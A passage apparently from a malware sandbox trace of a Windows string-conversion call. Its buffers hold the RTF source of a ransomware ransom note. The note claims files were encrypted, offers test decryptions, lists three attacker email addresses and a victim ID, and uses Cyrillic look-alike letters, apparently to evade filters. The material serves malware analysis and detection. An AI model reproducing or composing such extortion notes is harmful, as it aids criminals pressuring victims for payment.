s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 